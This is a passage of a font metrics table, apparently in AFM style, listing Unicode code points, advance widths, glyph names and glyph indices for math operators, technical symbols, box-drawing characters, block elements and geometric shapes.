U 8743 ; WX 732 ; N logicaland ; G 3250
U 8744 ; WX 732 ; N logicalor ; G 3251
U 8745 ; WX 732 ; N intersection ; G 3252
U 8746 ; WX 732 ; N union ; G 3253
U 8747 ; WX 521 ; N integral ; G 3254
U 8748 ; WX 789 ; N uni222C ; G 3255
U 8749 ; WX 1057 ; N uni222D ; G 3256
U 8750 ; WX 521 ; N uni222E ; G 3257
U 8751 ; WX 789 ; N uni222F ; G 3258
U 8752 ; WX 1057 ; N uni2230 ; G 3259
U 8753 ; WX 521 ; N uni2231 ; G 3260
U 8754 ; WX 521 ; N uni2232 ; G 3261
U 8755 ; WX 521 ; N uni2233 ; G 3262
U 8756 ; WX 636 ; N therefore ; G 3263
U 8757 ; WX 636 ; N uni2235 ; G 3264
U 8758 ; WX 260 ; N uni2236 ; G 3265
U 8759 ; WX 636 ; N uni2237 ; G 3266
U 8760 ; WX 838 ; N uni2238 ; G 3267
U 8761 ; WX 838 ; N uni2239 ; G 3268
U 8762 ; WX 838 ; N uni223A ; G 3269
U 8763 ; WX 838 ; N uni223B ; G 3270
U 8764 ; WX 838 ; N similar ; G 3271
U 8765 ; WX 838 ; N uni223D ; G 3272
U 8766 ; WX 838 ; N uni223E ; G 3273
U 8767 ; WX 838 ; N uni223F ; G 3274
U 8768 ; WX 375 ; N uni2240 ; G 3275
U 8769 ; WX 838 ; N uni2241 ; G 3276
U 8770 ; WX 838 ; N uni2242 ; G 3277
U 8771 ; WX 838 ; N uni2243 ; G 3278
U 8772 ; WX 838 ; N uni2244 ; G 3279
U 8773 ; WX 838 ; N congruent ; G 3280
U 8774 ; WX 838 ; N uni2246 ; G 3281
U 8775 ; WX 838 ; N uni2247 ; G 3282
U 8776 ; WX 838 ; N approxequal ; G 3283
U 8777 ; WX 838 ; N uni2249 ; G 3284
U 8778 ; WX 838 ; N uni224A ; G 3285
U 8779 ; WX 838 ; N uni224B ; G 3286
U 8780 ; WX 838 ; N uni224C ; G 3287
U 8781 ; WX 838 ; N uni224D ; G 3288
U 8782 ; WX 838 ; N uni224E ; G 3289
U 8783 ; WX 838 ; N uni224F ; G 3290
U 8784 ; WX 838 ; N uni2250 ; G 3291
U 8785 ; WX 838 ; N uni2251 ; G 3292
U 8786 ; WX 839 ; N uni2252 ; G 3293
U 8787 ; WX 839 ; N uni2253 ; G 3294
U 8788 ; WX 1000 ; N uni2254 ; G 3295
U 8789 ; WX 1000 ; N uni2255 ; G 3296
U 8790 ; WX 838 ; N uni2256 ; G 3297
U 8791 ; WX 838 ; N uni2257 ; G 3298
U 8792 ; WX 838 ; N uni2258 ; G 3299
U 8793 ; WX 838 ; N uni2259 ; G 3300
U 8794 ; WX 838 ; N uni225A ; G 3301
U 8795 ; WX 838 ; N uni225B ; G 3302
U 8796 ; WX 838 ; N uni225C ; G 3303
U 8797 ; WX 838 ; N uni225D ; G 3304
U 8798 ; WX 838 ; N uni225E ; G 3305
U 8799 ; WX 838 ; N uni225F ; G 3306
U 8800 ; WX 838 ; N notequal ; G 3307
U 8801 ; WX 838 ; N equivalence ; G 3308
U 8802 ; WX 838 ; N uni2262 ; G 3309
U 8803 ; WX 838 ; N uni2263 ; G 3310
U 8804 ; WX 838 ; N lessequal ; G 3311
U 8805 ; WX 838 ; N greaterequal ; G 3312
U 8806 ; WX 838 ; N uni2266 ; G 3313
U 8807 ; WX 838 ; N uni2267 ; G 3314
U 8808 ; WX 838 ; N uni2268 ; G 3315
U 8809 ; WX 838 ; N uni2269 ; G 3316
U 8810 ; WX 1047 ; N uni226A ; G 3317
U 8811 ; WX 1047 ; N uni226B ; G 3318
U 8812 ; WX 464 ; N uni226C ; G 3319
U 8813 ; WX 838 ; N uni226D ; G 3320
U 8814 ; WX 838 ; N uni226E ; G 3321
U 8815 ; WX 838 ; N uni226F ; G 3322
U 8816 ; WX 838 ; N uni2270 ; G 3323
U 8817 ; WX 838 ; N uni2271 ; G 3324
U 8818 ; WX 838 ; N uni2272 ; G 3325
U 8819 ; WX 838 ; N uni2273 ; G 3326
U 8820 ; WX 838 ; N uni2274 ; G 3327
U 8821 ; WX 838 ; N uni2275 ; G 3328
U 8822 ; WX 838 ; N uni2276 ; G 3329
U 8823 ; WX 838 ; N uni2277 ; G 3330
U 8824 ; WX 838 ; N uni2278 ; G 3331
U 8825 ; WX 838 ; N uni2279 ; G 3332
U 8826 ; WX 838 ; N uni227A ; G 3333
U 8827 ; WX 838 ; N uni227B ; G 3334
U 8828 ; WX 838 ; N uni227C ; G 3335
U 8829 ; WX 838 ; N uni227D ; G 3336
U 8830 ; WX 838 ; N uni227E ; G 3337
U 8831 ; WX 838 ; N uni227F ; G 3338
U 8832 ; WX 838 ; N uni2280 ; G 3339
U 8833 ; WX 838 ; N uni2281 ; G 3340
U 8834 ; WX 838 ; N propersubset ; G 3341
U 8835 ; WX 838 ; N propersuperset ; G 3342
U 8836 ; WX 838 ; N notsubset ; G 3343
U 8837 ; WX 838 ; N uni2285 ; G 3344
U 8838 ; WX 838 ; N reflexsubset ; G 3345
U 8839 ; WX 838 ; N reflexsuperset ; G 3346
U 8840 ; WX 838 ; N uni2288 ; G 3347
U 8841 ; WX 838 ; N uni2289 ; G 3348
U 8842 ; WX 838 ; N uni228A ; G 3349
U 8843 ; WX 838 ; N uni228B ; G 3350
U 8844 ; WX 732 ; N uni228C ; G 3351
U 8845 ; WX 732 ; N uni228D ; G 3352
U 8846 ; WX 732 ; N uni228E ; G 3353
U 8847 ; WX 838 ; N uni228F ; G 3354
U 8848 ; WX 838 ; N uni2290 ; G 3355
U 8849 ; WX 838 ; N uni2291 ; G 3356
U 8850 ; WX 838 ; N uni2292 ; G 3357
U 8851 ; WX 780 ; N uni2293 ; G 3358
U 8852 ; WX 780 ; N uni2294 ; G 3359
U 8853 ; WX 838 ; N circleplus ; G 3360
U 8854 ; WX 838 ; N uni2296 ; G 3361
U 8855 ; WX 838 ; N circlemultiply ; G 3362
U 8856 ; WX 838 ; N uni2298 ; G 3363
U 8857 ; WX 838 ; N uni2299 ; G 3364
U 8858 ; WX 838 ; N uni229A ; G 3365
U 8859 ; WX 838 ; N uni229B ; G 3366
U 8860 ; WX 838 ; N uni229C ; G 3367
U 8861 ; WX 838 ; N uni229D ; G 3368
U 8862 ; WX 838 ; N uni229E ; G 3369
U 8863 ; WX 838 ; N uni229F ; G 3370
U 8864 ; WX 838 ; N uni22A0 ; G 3371
U 8865 ; WX 838 ; N uni22A1 ; G 3372
U 8866 ; WX 871 ; N uni22A2 ; G 3373
U 8867 ; WX 871 ; N uni22A3 ; G 3374
U 8868 ; WX 871 ; N uni22A4 ; G 3375
U 8869 ; WX 871 ; N perpendicular ; G 3376
U 8870 ; WX 521 ; N uni22A6 ; G 3377
U 8871 ; WX 521 ; N uni22A7 ; G 3378
U 8872 ; WX 871 ; N uni22A8 ; G 3379
U 8873 ; WX 871 ; N uni22A9 ; G 3380
U 8874 ; WX 871 ; N uni22AA ; G 3381
U 8875 ; WX 871 ; N uni22AB ; G 3382
U 8876 ; WX 871 ; N uni22AC ; G 3383
U 8877 ; WX 871 ; N uni22AD ; G 3384
U 8878 ; WX 871 ; N uni22AE ; G 3385
U 8879 ; WX 871 ; N uni22AF ; G 3386
U 8880 ; WX 838 ; N uni22B0 ; G 3387
U 8881 ; WX 838 ; N uni22B1 ; G 3388
U 8882 ; WX 838 ; N uni22B2 ; G 3389
U 8883 ; WX 838 ; N uni22B3 ; G 3390
U 8884 ; WX 838 ; N uni22B4 ; G 3391
U 8885 ; WX 838 ; N uni22B5 ; G 3392
U 8886 ; WX 1000 ; N uni22B6 ; G 3393
U 8887 ; WX 1000 ; N uni22B7 ; G 3394
U 8888 ; WX 838 ; N uni22B8 ; G 3395
U 8889 ; WX 838 ; N uni22B9 ; G 3396
U 8890 ; WX 521 ; N uni22BA ; G 3397
U 8891 ; WX 732 ; N uni22BB ; G 3398
U 8892 ; WX 732 ; N uni22BC ; G 3399
U 8893 ; WX 732 ; N uni22BD ; G 3400
U 8894 ; WX 838 ; N uni22BE ; G 3401
U 8895 ; WX 838 ; N uni22BF ; G 3402
U 8896 ; WX 820 ; N uni22C0 ; G 3403
U 8897 ; WX 820 ; N uni22C1 ; G 3404
U 8898 ; WX 820 ; N uni22C2 ; G 3405
U 8899 ; WX 820 ; N uni22C3 ; G 3406
U 8900 ; WX 626 ; N uni22C4 ; G 3407
U 8901 ; WX 318 ; N dotmath ; G 3408
U 8902 ; WX 626 ; N uni22C6 ; G 3409
U 8903 ; WX 838 ; N uni22C7 ; G 3410
U 8904 ; WX 1000 ; N uni22C8 ; G 3411
U 8905 ; WX 1000 ; N uni22C9 ; G 3412
U 8906 ; WX 1000 ; N uni22CA ; G 3413
U 8907 ; WX 1000 ; N uni22CB ; G 3414
U 8908 ; WX 1000 ; N uni22CC ; G 3415
U 8909 ; WX 838 ; N uni22CD ; G 3416
U 8910 ; WX 732 ; N uni22CE ; G 3417
U 8911 ; WX 732 ; N uni22CF ; G 3418
U 8912 ; WX 838 ; N uni22D0 ; G 3419
U 8913 ; WX 838 ; N uni22D1 ; G 3420
U 8914 ; WX 838 ; N uni22D2 ; G 3421
U 8915 ; WX 838 ; N uni22D3 ; G 3422
U 8916 ; WX 838 ; N uni22D4 ; G 3423
U 8917 ; WX 838 ; N uni22D5 ; G 3424
U 8918 ; WX 838 ; N uni22D6 ; G 3425
U 8919 ; WX 838 ; N uni22D7 ; G 3426
U 8920 ; WX 1422 ; N uni22D8 ; G 3427
U 8921 ; WX 1422 ; N uni22D9 ; G 3428
U 8922 ; WX 838 ; N uni22DA ; G 3429
U 8923 ; WX 838 ; N uni22DB ; G 3430
U 8924 ; WX 838 ; N uni22DC ; G 3431
U 8925 ; WX 838 ; N uni22DD ; G 3432
U 8926 ; WX 838 ; N uni22DE ; G 3433
U 8927 ; WX 838 ; N uni22DF ; G 3434
U 8928 ; WX 838 ; N uni22E0 ; G 3435
U 8929 ; WX 838 ; N uni22E1 ; G 3436
U 8930 ; WX 838 ; N uni22E2 ; G 3437
U 8931 ; WX 838 ; N uni22E3 ; G 3438
U 8932 ; WX 838 ; N uni22E4 ; G 3439
U 8933 ; WX 838 ; N uni22E5 ; G 3440
U 8934 ; WX 838 ; N uni22E6 ; G 3441
U 8935 ; WX 838 ; N uni22E7 ; G 3442
U 8936 ; WX 838 ; N uni22E8 ; G 3443
U 8937 ; WX 838 ; N uni22E9 ; G 3444
U 8938 ; WX 838 ; N uni22EA ; G 3445
U 8939 ; WX 838 ; N uni22EB ; G 3446
U 8940 ; WX 838 ; N uni22EC ; G 3447
U 8941 ; WX 838 ; N uni22ED ; G 3448
U 8942 ; WX 1000 ; N uni22EE ; G 3449
U 8943 ; WX 1000 ; N uni22EF ; G 3450
U 8944 ; WX 1000 ; N uni22F0 ; G 3451
U 8945 ; WX 1000 ; N uni22F1 ; G 3452
U 8946 ; WX 1000 ; N uni22F2 ; G 3453
U 8947 ; WX 871 ; N uni22F3 ; G 3454
U 8948 ; WX 718 ; N uni22F4 ; G 3455
U 8949 ; WX 871 ; N uni22F5 ; G 3456
U 8950 ; WX 871 ; N uni22F6 ; G 3457
U 8951 ; WX 718 ; N uni22F7 ; G 3458
U 8952 ; WX 871 ; N uni22F8 ; G 3459
U 8953 ; WX 871 ; N uni22F9 ; G 3460
U 8954 ; WX 1000 ; N uni22FA ; G 3461
U 8955 ; WX 871 ; N uni22FB ; G 3462
U 8956 ; WX 718 ; N uni22FC ; G 3463
U 8957 ; WX 871 ; N uni22FD ; G 3464
U 8958 ; WX 718 ; N uni22FE ; G 3465
U 8959 ; WX 871 ; N uni22FF ; G 3466
U 8960 ; WX 602 ; N uni2300 ; G 3467
U 8961 ; WX 602 ; N uni2301 ; G 3468
U 8962 ; WX 635 ; N house ; G 3469
U 8963 ; WX 838 ; N uni2303 ; G 3470
U 8964 ; WX 838 ; N uni2304 ; G 3471
U 8965 ; WX 838 ; N uni2305 ; G 3472
U 8966 ; WX 838 ; N uni2306 ; G 3473
U 8967 ; WX 488 ; N uni2307 ; G 3474
U 8968 ; WX 390 ; N uni2308 ; G 3475
U 8969 ; WX 390 ; N uni2309 ; G 3476
U 8970 ; WX 390 ; N uni230A ; G 3477
U 8971 ; WX 390 ; N uni230B ; G 3478
U 8972 ; WX 809 ; N uni230C ; G 3479
U 8973 ; WX 809 ; N uni230D ; G 3480
U 8974 ; WX 809 ; N uni230E ; G 3481
U 8975 ; WX 809 ; N uni230F ; G 3482
U 8976 ; WX 838 ; N revlogicalnot ; G 3483
U 8977 ; WX 513 ; N uni2311 ; G 3484
U 8984 ; WX 1000 ; N uni2318 ; G 3485
U 8985 ; WX 838 ; N uni2319 ; G 3486
U 8988 ; WX 469 ; N uni231C ; G 3487
U 8989 ; WX 469 ; N uni231D ; G 3488
U 8990 ; WX 469 ; N uni231E ; G 3489
U 8991 ; WX 469 ; N uni231F ; G 3490
U 8992 ; WX 521 ; N integraltp ; G 3491
U 8993 ; WX 521 ; N integralbt ; G 3492
U 8996 ; WX 1152 ; N uni2324 ; G 3493
U 8997 ; WX 1152 ; N uni2325 ; G 3494
U 8998 ; WX 1414 ; N uni2326 ; G 3495
U 8999 ; WX 1152 ; N uni2327 ; G 3496
U 9000 ; WX 1443 ; N uni2328 ; G 3497
U 9003 ; WX 1414 ; N uni232B ; G 3498
U 9004 ; WX 873 ; N uni232C ; G 3499
U 9075 ; WX 338 ; N uni2373 ; G 3500
U 9076 ; WX 635 ; N uni2374 ; G 3501
U 9077 ; WX 837 ; N uni2375 ; G 3502
U 9082 ; WX 659 ; N uni237A ; G 3503
U 9085 ; WX 757 ; N uni237D ; G 3504
U 9095 ; WX 1152 ; N uni2387 ; G 3505
U 9108 ; WX 873 ; N uni2394 ; G 3506
U 9115 ; WX 500 ; N uni239B ; G 3507
U 9116 ; WX 500 ; N uni239C ; G 3508
U 9117 ; WX 500 ; N uni239D ; G 3509
U 9118 ; WX 500 ; N uni239E ; G 3510
U 9119 ; WX 500 ; N uni239F ; G 3511
U 9120 ; WX 500 ; N uni23A0 ; G 3512
U 9121 ; WX 500 ; N uni23A1 ; G 3513
U 9122 ; WX 500 ; N uni23A2 ; G 3514
U 9123 ; WX 500 ; N uni23A3 ; G 3515
U 9124 ; WX 500 ; N uni23A4 ; G 3516
U 9125 ; WX 500 ; N uni23A5 ; G 3517
U 9126 ; WX 500 ; N uni23A6 ; G 3518
U 9127 ; WX 750 ; N uni23A7 ; G 3519
U 9128 ; WX 750 ; N uni23A8 ; G 3520
U 9129 ; WX 750 ; N uni23A9 ; G 3521
U 9130 ; WX 750 ; N uni23AA ; G 3522
U 9131 ; WX 750 ; N uni23AB ; G 3523
U 9132 ; WX 750 ; N uni23AC ; G 3524
U 9133 ; WX 750 ; N uni23AD ; G 3525
U 9134 ; WX 521 ; N uni23AE ; G 3526
U 9166 ; WX 838 ; N uni23CE ; G 3527
U 9167 ; WX 945 ; N uni23CF ; G 3528
U 9187 ; WX 873 ; N uni23E3 ; G 3529
U 9189 ; WX 769 ; N uni23E5 ; G 3530
U 9192 ; WX 636 ; N uni23E8 ; G 3531
U 9250 ; WX 635 ; N uni2422 ; G 3532
U 9251 ; WX 635 ; N uni2423 ; G 3533
U 9312 ; WX 896 ; N uni2460 ; G 3534
U 9313 ; WX 896 ; N uni2461 ; G 3535
U 9314 ; WX 896 ; N uni2462 ; G 3536
U 9315 ; WX 896 ; N uni2463 ; G 3537
U 9316 ; WX 896 ; N uni2464 ; G 3538
U 9317 ; WX 896 ; N uni2465 ; G 3539
U 9318 ; WX 896 ; N uni2466 ; G 3540
U 9319 ; WX 896 ; N uni2467 ; G 3541
U 9320 ; WX 896 ; N uni2468 ; G 3542
U 9321 ; WX 896 ; N uni2469 ; G 3543
U 9472 ; WX 602 ; N SF100000 ; G 3544
U 9473 ; WX 602 ; N uni2501 ; G 3545
U 9474 ; WX 602 ; N SF110000 ; G 3546
U 9475 ; WX 602 ; N uni2503 ; G 3547
U 9476 ; WX 602 ; N uni2504 ; G 3548
U 9477 ; WX 602 ; N uni2505 ; G 3549
U 9478 ; WX 602 ; N uni2506 ; G 3550
U 9479 ; WX 602 ; N uni2507 ; G 3551
U 9480 ; WX 602 ; N uni2508 ; G 3552
U 9481 ; WX 602 ; N uni2509 ; G 3553
U 9482 ; WX 602 ; N uni250A ; G 3554
U 9483 ; WX 602 ; N uni250B ; G 3555
U 9484 ; WX 602 ; N SF010000 ; G 3556
U 9485 ; WX 602 ; N uni250D ; G 3557
U 9486 ; WX 602 ; N uni250E ; G 3558
U 9487 ; WX 602 ; N uni250F ; G 3559
U 9488 ; WX 602 ; N SF030000 ; G 3560
U 9489 ; WX 602 ; N uni2511 ; G 3561
U 9490 ; WX 602 ; N uni2512 ; G 3562
U 9491 ; WX 602 ; N uni2513 ; G 3563
U 9492 ; WX 602 ; N SF020000 ; G 3564
U 9493 ; WX 602 ; N uni2515 ; G 3565
U 9494 ; WX 602 ; N uni2516 ; G 3566
U 9495 ; WX 602 ; N uni2517 ; G 3567
U 9496 ; WX 602 ; N SF040000 ; G 3568
U 9497 ; WX 602 ; N uni2519 ; G 3569
U 9498 ; WX 602 ; N uni251A ; G 3570
U 9499 ; WX 602 ; N uni251B ; G 3571
U 9500 ; WX 602 ; N SF080000 ; G 3572
U 9501 ; WX 602 ; N uni251D ; G 3573
U 9502 ; WX 602 ; N uni251E ; G 3574
U 9503 ; WX 602 ; N uni251F ; G 3575
U 9504 ; WX 602 ; N uni2520 ; G 3576
U 9505 ; WX 602 ; N uni2521 ; G 3577
U 9506 ; WX 602 ; N uni2522 ; G 3578
U 9507 ; WX 602 ; N uni2523 ; G 3579
U 9508 ; WX 602 ; N SF090000 ; G 3580
U 9509 ; WX 602 ; N uni2525 ; G 3581
U 9510 ; WX 602 ; N uni2526 ; G 3582
U 9511 ; WX 602 ; N uni2527 ; G 3583
U 9512 ; WX 602 ; N uni2528 ; G 3584
U 9513 ; WX 602 ; N uni2529 ; G 3585
U 9514 ; WX 602 ; N uni252A ; G 3586
U 9515 ; WX 602 ; N uni252B ; G 3587
U 9516 ; WX 602 ; N SF060000 ; G 3588
U 9517 ; WX 602 ; N uni252D ; G 3589
U 9518 ; WX 602 ; N uni252E ; G 3590
U 9519 ; WX 602 ; N uni252F ; G 3591
U 9520 ; WX 602 ; N uni2530 ; G 3592
U 9521 ; WX 602 ; N uni2531 ; G 3593
U 9522 ; WX 602 ; N uni2532 ; G 3594
U 9523 ; WX 602 ; N uni2533 ; G 3595
U 9524 ; WX 602 ; N SF070000 ; G 3596
U 9525 ; WX 602 ; N uni2535 ; G 3597
U 9526 ; WX 602 ; N uni2536 ; G 3598
U 9527 ; WX 602 ; N uni2537 ; G 3599
U 9528 ; WX 602 ; N uni2538 ; G 3600
U 9529 ; WX 602 ; N uni2539 ; G 3601
U 9530 ; WX 602 ; N uni253A ; G 3602
U 9531 ; WX 602 ; N uni253B ; G 3603
U 9532 ; WX 602 ; N SF050000 ; G 3604
U 9533 ; WX 602 ; N uni253D ; G 3605
U 9534 ; WX 602 ; N uni253E ; G 3606
U 9535 ; WX 602 ; N uni253F ; G 3607
U 9536 ; WX 602 ; N uni2540 ; G 3608
U 9537 ; WX 602 ; N uni2541 ; G 3609
U 9538 ; WX 602 ; N uni2542 ; G 3610
U 9539 ; WX 602 ; N uni2543 ; G 3611
U 9540 ; WX 602 ; N uni2544 ; G 3612
U 9541 ; WX 602 ; N uni2545 ; G 3613
U 9542 ; WX 602 ; N uni2546 ; G 3614
U 9543 ; WX 602 ; N uni2547 ; G 3615
U 9544 ; WX 602 ; N uni2548 ; G 3616
U 9545 ; WX 602 ; N uni2549 ; G 3617
U 9546 ; WX 602 ; N uni254A ; G 3618
U 9547 ; WX 602 ; N uni254B ; G 3619
U 9548 ; WX 602 ; N uni254C ; G 3620
U 9549 ; WX 602 ; N uni254D ; G 3621
U 9550 ; WX 602 ; N uni254E ; G 3622
U 9551 ; WX 602 ; N uni254F ; G 3623
U 9552 ; WX 602 ; N SF430000 ; G 3624
U 9553 ; WX 602 ; N SF240000 ; G 3625
U 9554 ; WX 602 ; N SF510000 ; G 3626
U 9555 ; WX 602 ; N SF520000 ; G 3627
U 9556 ; WX 602 ; N SF390000 ; G 3628
U 9557 ; WX 602 ; N SF220000 ; G 3629
U 9558 ; WX 602 ; N SF210000 ; G 3630
U 9559 ; WX 602 ; N SF250000 ; G 3631
U 9560 ; WX 602 ; N SF500000 ; G 3632
U 9561 ; WX 602 ; N SF490000 ; G 3633
U 9562 ; WX 602 ; N SF380000 ; G 3634
U 9563 ; WX 602 ; N SF280000 ; G 3635
U 9564 ; WX 602 ; N SF270000 ; G 3636
U 9565 ; WX 602 ; N SF260000 ; G 3637
U 9566 ; WX 602 ; N SF360000 ; G 3638
U 9567 ; WX 602 ; N SF370000 ; G 3639
U 9568 ; WX 602 ; N SF420000 ; G 3640
U 9569 ; WX 602 ; N SF190000 ; G 3641
U 9570 ; WX 602 ; N SF200000 ; G 3642
U 9571 ; WX 602 ; N SF230000 ; G 3643
U 9572 ; WX 602 ; N SF470000 ; G 3644
U 9573 ; WX 602 ; N SF480000 ; G 3645
U 9574 ; WX 602 ; N SF410000 ; G 3646
U 9575 ; WX 602 ; N SF450000 ; G 3647
U 9576 ; WX 602 ; N SF460000 ; G 3648
U 9577 ; WX 602 ; N SF400000 ; G 3649
U 9578 ; WX 602 ; N SF540000 ; G 3650
U 9579 ; WX 602 ; N SF530000 ; G 3651
U 9580 ; WX 602 ; N SF440000 ; G 3652
U 9581 ; WX 602 ; N uni256D ; G 3653
U 9582 ; WX 602 ; N uni256E ; G 3654
U 9583 ; WX 602 ; N uni256F ; G 3655
U 9584 ; WX 602 ; N uni2570 ; G 3656
U 9585 ; WX 602 ; N uni2571 ; G 3657
U 9586 ; WX 602 ; N uni2572 ; G 3658
U 9587 ; WX 602 ; N uni2573 ; G 3659
U 9588 ; WX 602 ; N uni2574 ; G 3660
U 9589 ; WX 602 ; N uni2575 ; G 3661
U 9590 ; WX 602 ; N uni2576 ; G 3662
U 9591 ; WX 602 ; N uni2577 ; G 3663
U 9592 ; WX 602 ; N uni2578 ; G 3664
U 9593 ; WX 602 ; N uni2579 ; G 3665
U 9594 ; WX 602 ; N uni257A ; G 3666
U 9595 ; WX 602 ; N uni257B ; G 3667
U 9596 ; WX 602 ; N uni257C ; G 3668
U 9597 ; WX 602 ; N uni257D ; G 3669
U 9598 ; WX 602 ; N uni257E ; G 3670
U 9599 ; WX 602 ; N uni257F ; G 3671
U 9600 ; WX 769 ; N upblock ; G 3672
U 9601 ; WX 769 ; N uni2581 ; G 3673
U 9602 ; WX 769 ; N uni2582 ; G 3674
U 9603 ; WX 769 ; N uni2583 ; G 3675
U 9604 ; WX 769 ; N dnblock ; G 3676
U 9605 ; WX 769 ; N uni2585 ; G 3677
U 9606 ; WX 769 ; N uni2586 ; G 3678
U 9607 ; WX 769 ; N uni2587 ; G 3679
U 9608 ; WX 769 ; N block ; G 3680
U 9609 ; WX 769 ; N uni2589 ; G 3681
U 9610 ; WX 769 ; N uni258A ; G 3682
U 9611 ; WX 769 ; N uni258B ; G 3683
U 9612 ; WX 769 ; N lfblock ; G 3684
U 9613 ; WX 769 ; N uni258D ; G 3685
U 9614 ; WX 769 ; N uni258E ; G 3686
U 9615 ; WX 769 ; N uni258F ; G 3687
U 9616 ; WX 769 ; N rtblock ; G 3688
U 9617 ; WX 769 ; N ltshade ; G 3689
U 9618 ; WX 769 ; N shade ; G 3690
U 9619 ; WX 769 ; N dkshade ; G 3691
U 9620 ; WX 769 ; N uni2594 ; G 3692
U 9621 ; WX 769 ; N uni2595 ; G 3693
U 9622 ; WX 769 ; N uni2596 ; G 3694
U 9623 ; WX 769 ; N uni2597 ; G 3695
U 9624 ; WX 769 ; N uni2598 ; G 3696
U 9625 ; WX 769 ; N uni2599 ; G 3697
U 9626 ; WX 769 ; N uni259A ; G 3698
U 9627 ; WX 769 ; N uni259B ; G 3699
U 9628 ; WX 769 ; N uni259C ; G 3700
U 9629 ; WX 769 ; N uni259D ; G 3701
U 9630 ; WX 769 ; N uni259E ; G 3702
U 9631 ; WX 769 ; N uni259F ; G 3703
U 9632 ; WX 945 ; N filledbox ; G 3704
U 9633 ; WX 945 ; N H22073 ; G 3705
U 9634 ; WX 945 ; N uni25A2 ; G 3706
U 9635 ; WX 945 ; N uni25A3 ; G 3707
U 9636 ; WX 945 ; N uni25A4 ; G 3708
U 9637 ; WX 945 ; N uni25A5 ; G 3709
U 9638 ; WX 945 ; N uni25A6 ; G 3710
U 9639 ; WX 945 ; N uni25A7 ; G 3711
U 9640 ; WX 945 ; N uni25A8 ; G 3712
U 9641 ; WX 945 ; N uni25A9 ; G 3713
U 9642 ; WX 678 ; N H18543 ; G 3714
U 9643 ; WX 678 ; N H18551 ; G 3715
U 9644 ; WX 945 ; N filledrect ; G 3716
U 9645 ; WX 945 ; N uni25AD ; G 3717
U 9646 ; WX 550 ; N uni25AE ; G 3718
U 9647 ; WX 550 ; N uni25AF ; G 3719
U 9648 ; WX 769 ; N uni25B0 ; G 3720
U 9649 ; WX 769 ; N uni25B1 ; G 3721
U 9650 ; WX 769 ; N triagup ; G 3722
U 9651 ; WX 769 ; N uni25B3 ; G 3723
U 9652 ; WX 502 ; N uni25B4 ; G 3724
U 9653 ; WX 502 ; N uni25B5 ; G 3725
U 9654 ; WX 769 ; N uni25B6 ; G 3726
U 9655 ; WX 769 ; N uni25B7 ; G 3727
U 9656 ; WX 502 ; N uni25B8 ; G 3728
U 9657 ; WX 502 ; N uni25B9 ; G 3729
U 9658 ; WX 769 ; N triagrt ; G 3730
U 9659 ; WX 769 ; N uni25BB ; G 3731
U 9660 ; WX 769 ; N triagdn ; G 3732
U 9661 ; WX 769 ; N uni25BD ; G 3733
U 9662 ; WX 502 ; N uni25BE ; G 3734
U 9663 ; WX 502 ; N uni25BF ; G 3735
U 9664 ; WX 769 ; N uni25C0 ; G 3736
U 9665 ; WX 769 ; N uni25C1 ; G 3737
U 9666 ; WX 502 ; N uni25C2 ; G 3738
U 9667 ; WX 502 ; N uni25C3 ; G 3739
U 9668 ; WX 769 ; N triaglf ; G 3740
U 9669 ; WX 769 ; N uni25C5 ; G 3741
U 9670 ; WX 769 ; N uni25C6 ; G 3742
U 9671 ; WX 769 ; N uni25C7 ; G 3743
U 9672 ; WX 769 ; N uni25C8 ; G 3744
U 9673 ; WX 873 ; N uni25C9 ; G 3745
U 9674 ; WX 494 ; N lozenge ; G 3746
U 9675 ; WX 873 ; N circle ; G 3747
U 9676 ; WX 873 ; N uni25CC ; G 3748
U 9677 ; WX 873 ; N uni25CD ; G 3749
U 9678 ; WX 873 ; N uni25CE ; G 3750
U 9679 ; WX 873 ; N H18533 ; G 3751
U 9680 ; WX 873 ; N uni25D0 ; G 3752
U 9681 ; WX 873 ; N uni25D1 ; G 3753
U 9682 ; WX 873 ; N uni25D2 ; G 3754
U 9683 ; WX 873 ; N uni25D3 ; G 3755
U 9684 ; WX 873 ; N uni25D4 ; G 3756
U 9685 ; WX 873 ; N uni25D5 ; G 3757
U 9686 ; WX 527 ; N uni25D6 ; G 3758
U 9687 ; WX 527 ; N uni25D7 ; G 3759
U 9688 ; WX 791 ; N invbullet ; G 3760
U 9689 ; WX 970 ; N invcircle ; G 3761
U 9690 ; WX 970 ; N uni25DA ; G 3762
U 9691 ; WX 970 ; N uni25DB ; G 3763
U 9692 ; WX 387 ; N uni25DC ; G 3764
U 9693 ; WX 387 ; N uni25DD ; G 3765
U 9694 ; WX 387 ; N uni25DE ; G 3766
U 9695 ; WX 387 ; N uni25DF ; G 3767
U 9696 ; WX 873 ; N uni25E0 ; G 3768
U 9697 ; WX 873 ; N uni25E1 ; G 3769
U 9698 ; WX 769 ; N uni25E2 ; G 3770
U 9699 ; WX 769 ; N uni25E3 ; G 3771
U 9700 ; WX 769 ; N uni25E4 ; G 3772
U 9701 ; WX 769 ; N uni25E5 ; G 3773
U 9702 ; WX 590 ; N openbullet ; G 3774
U 9703 ; WX 945 ; N uni25E7 ; G 3775
U 9704 ; WX 945 ; N uni25E8 ; G 3776
U 9705 ; WX 945 ; N uni25E9 ; G 3777
U 9706 ; WX 945 ; N uni25EA ; G 3778
U 9707 ; WX 945 ; N uni25EB ; G 3779
U 9708 ; WX 769 ; N uni25EC ; G 3780
U 9709 ; WX 769 ; N uni25ED ; G 3781
U 9710 ; WX 769 ; N uni25EE ; G 3782
U 9711 ; WX 1119 ; N uni25EF ; G 3783
U 9712 ; WX 945 ; N uni25F0 ; G 3784
U 9713 ; WX 945 ; N uni25F1 ; G 3785
U 9714 ; WX 945 ; N uni25F2 ; G 3786
U 9715 ; WX 945 ; N uni25F3 ; G 3787
U 9716 ; WX 873 ; N uni25F4 ; G 3788
U 9717 ; WX 873 ; N uni25F5 ; G 3789
U 9718 ; WX 873 ; N uni25F6 ; G 3790
U 9719 ; WX 873 ; N uni25F7 ; G 3791
U 9720 ; WX 769 ; N uni25F8 ; G 3792
U 9721 ; WX 769 ; N uni25F9 ; G 3793
U 9722 ; WX 769 ; N uni25FA ; G 3794
U 9723 ; WX 830 ; N uni25FB ; G 3795
U 9724 ; WX 830 ; N uni25FC ; G 3796
U 9725 ; WX 732 ; N uni25FD ; G 3797
U 9726 ; WX 732 ; N uni25FE ; G 3798
U 9727 ; WX 769 ; N uni25FF ; G 3799
U 9728 ; WX 896 ; N uni2600 ; G 3800
U 9729 ; WX 1000 ; N uni2601 ; G 3801
U 9730 ; WX 896 ; N uni2602 ; G 3802
U 9731 ; WX 896 ; N uni2603 ; G 3803
U 9732 ; WX 896 ; N uni2604 ; G 3804
U 9733 ; WX 896 ; N uni2605 ; G 3805
